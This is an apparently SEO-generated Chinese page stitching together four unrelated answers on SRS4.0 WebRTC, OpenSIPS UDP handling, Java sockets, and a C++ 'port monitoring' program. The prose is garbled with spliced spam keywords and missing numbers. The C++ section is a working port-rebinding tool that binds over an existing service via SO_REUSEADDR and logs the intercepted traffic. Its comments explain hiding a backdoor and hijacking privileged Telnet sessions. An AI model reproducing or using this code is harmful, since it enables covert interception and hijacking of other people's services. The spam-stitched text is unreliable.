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1.SRS4.0源代码分析之WebRTC服务总体介绍
2.opensips2.4源码分析udp协议处理
3.C++下如何实现端口监视
4.如何实现java对指定ip和端口接收数据,端口端口求源码

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SRS4.0源代码分析之WebRTC服务总体介绍

       SRS4.0的WebRTC服务提供了一种强大的实时音视频通信解决方案,它基于Web标准,源码源码支持浏览器之间的端口端口双向通信。SRS4.0引入WebRTC的监听监听主要目的是为了增强服务器的SFU(服务器转发单元)功能,以优化客户端接入和降低音视频处理对服务器CPU的源码源码hyper模型源码负担。通过部署SFU,端口端口客户端可以将本地音视频数据推送到服务器,监听监听同时服务器根据需要拉取数据,源码源码实现低延迟的端口端口直播连麦场景。

       WebRTC涉及的监听监听知识点广泛,包括SDP报文处理、源码源码ICE连接建立、端口端口DTLS加密等,监听监听但SRS4.0的源码源码重点在于简化用户对WebRTC的理解。SRS4.0 WebRTC服务的核心模块在`srs_app_rtc_server.cpp`中初始化,主要负责自签名证书生成、日韩网站模板源码UDP端口监听(如)和推拉流API接口注册。RTMP与WebRTC的不同在于,WebRTC通过P2P/ICE技术建立UDP连接,而RTMP则通过socket复用控制命令和数据流。

       SRS4.0通过HTTP(S)接口提供对外API,如/rtc/v1/publish/和/rtc/v1/play/,用于接收和发送音视频数据。当客户端发起推流或拉流请求时,lua 游戏源码下载SRS会创建相应的对象(如SrsRtcPublishStream和SrsRtcPlayStream),并处理SDP交换和ICE连接建立。推流和拉流过程涉及SDP报文协商,ICE用于客户端和服务端建立数据传输通道,确保安全性和稳定性。

       最后,总结SRS4.0 WebRTC的处理流程:首先,监听端口并提供API接口;其次,spring mvc 后台源码根据API请求创建相应的数据流对象;接着,通过SDP和ICE建立连接;最后,音视频数据在服务器和客户端之间按此流程传递:客户端→服务器→SRS对象→客户端。理解这些核心流程有助于深入研究SRS4.0的WebRTC功能和实现机制。

opensips2.4源码分析udp协议处理

       OpenSIPS,一个功能强大的通信平台,支持多种协议的处理,并且具有可扩展性。jeecms 源码导入eclipse其核心功能主要通过模块实现,这些模块通常以.so文件形式存在,如udp模块。在OpenSIPS 2.4源码中,我们曾探讨过静态模块加载,其中的proto_udp模块是一个实例。

       proto_udp模块主要通过"proto_init"接口来初始化,其关键部分在于"cmds"和"params"。这个模块的配置参数只有一个,即"udp_port",默认值为。"proto_init"函数负责初始化结构体struct proto_info,其内部包含了udp监听、发送和接收的底层socket操作函数。

       在OpenSIPS的启动过程中,"trans_load"函数负责加载所有通信协议类,它会寻找并调用每个模块中的"proto_init"函数,如proto_udp的"proto_init"。这个函数初始化了全局的proto_info结构,并校验其id与协议类型是否匹配。

       udp的监听端口是根据配置文件进行设置的。在opensips.cfg中,用户可以指定监听的端口,这些配置会被解析为struct socket_id结构,存储在全局的protos数组中。在主程序启动时,会调用udp_proto模块的tran.init_listener函数,启动udp监听。

C++下如何实现端口监视

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       #include "stdafx.h"

       #include <winsock2.h>

       #include <windows.h>

       //#include <stdio.h>

       #include <stdlib.h>

       #include <fstream.h>

       DWORD WINAPI ClientThread(LPVOID lpParam);

       int main(int argc, char* argv[])

       {

        if (argc!=2)

        {

        printf("using: listen [your ip address]\nfor example:\n listen ...2\n");

        return 0;

        }

        WORD wVersionRequested;

        DWORD ret;

        WSADATA wsaData;

        BOOL val;

        SOCKADDR_IN saddr;

        SOCKADDR_IN scaddr;

        int err;

        SOCKET s;

        SOCKET sc;

        int caddsize;

        HANDLE mt;

        DWORD tid;

        wVersionRequested = MAKEWORD( 2, 2 );

        err = WSAStartup( wVersionRequested, &wsaData );

        if ( err != 0 ) {

        printf("error!WSAStartup failed!\n");

        return -1;

        }

        saddr.sin_family = AF_INET;

        //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了

        saddr.sin_addr.s_addr = inet_addr(argv[1]);

        saddr.sin_port = htons();

        if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)

        {

        printf("error!socket failed!\n");

        return -1;

        }

        val = TRUE;

        //SO_REUSEADDR选项就是可以实现端口重绑定的

        if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)

        {

        printf("error!setsockopt failed!\n");

        return -1;

        }

        //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;

        //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽

        //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击

        if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)

        {

        ret=GetLastError();

        printf("error!bind failed!\n");

        return -1;

        }

        listen(s,2);

        while(1)

        {

        caddsize = sizeof(scaddr);

        //接受连接请求

        sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);

        if(sc!=INVALID_SOCKET)

        {

        mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);

        if(mt==NULL)

        {

        printf("Thread Creat Failed!\n");

        break;

        }

        }

        CloseHandle(mt);

        }

        closesocket(s);

        WSACleanup();

        return 0;

       }

       DWORD WINAPI ClientThread(LPVOID lpParam)

       {

        SOCKET ss = (SOCKET)lpParam;

        SOCKET sc;

        char buf[];

        SOCKADDR_IN saddr;

        long num;

        DWORD val;

        DWORD ret;

        //如果是隐藏端口应用的话,可以在此处加一些判断

        //如果是自己的包,就可以进行一些特殊处理,不是的话通过.0.0.1进行转发

        saddr.sin_family = AF_INET;

        saddr.sin_addr.s_addr = inet_addr(".0.0.1");

        saddr.sin_port = htons();

        if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)

        {

        printf("error!socket failed!\n");

        return -1;

        }

        val = ;

        if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)

        {

        ret = GetLastError();

        return -1;

        }

        if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)

        {

        ret = GetLastError();

        return -1;

        }

        if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)

        {

        printf("error!socket connect failed!\n");

        closesocket(sc);

        closesocket(ss);

        return -1;

        }

        // 写入文件:

        ofstream oFile("portlog.txt");

        if(!oFile)

        {

        printf("cannot write to the file.\n");

        closesocket(ss);

        closesocket(sc);

        return 0 ;

        }

        while(1)

        {

        //下面的代码主要是实现通过。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。

        //如果是嗅探内容的话,可以再此处进行内容分析和记录

        //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。

        num = recv(ss,buf,,0);

        if(num>0)

        {

        oFile<<"\n== DATA =========================================\n";

        oFile<<buf;

        send(sc,buf,num,0);

        }

        else if(num==0)

        break;

        num = recv(sc,buf,,0);

        if(num>0)

        {

        oFile<<"\n== DATA =========================================\n";

        oFile<<buf;

        send(ss,buf,num,0);

        }

        else if(num==0)

        break;

        }

        oFile.close();

        closesocket(ss);

        closesocket(sc);

        return 0 ;

       }

如何实现java对指定ip和端口接收数据,求源码

       在客户/服务器通信模式中, 服务器端需要创建监听端口的 ServerSocket, ServerSocket 负责接收客户连接请求。ServerSocket并不能直接向客户端发送数据。

       通常做法是,ServerSocket接收到一个连接请求,用accept建立连接:

       socket = serverSocket.accept(); //接收客户连接

       然后启动一个新的线程来处理和客户端的收发数据的工作

       Thread workThread = new Thread(new Handler(socket)); //创建一个工作进程

       workThread.start(); //启动工作进程

       使用accept后的Socket去收发数据。

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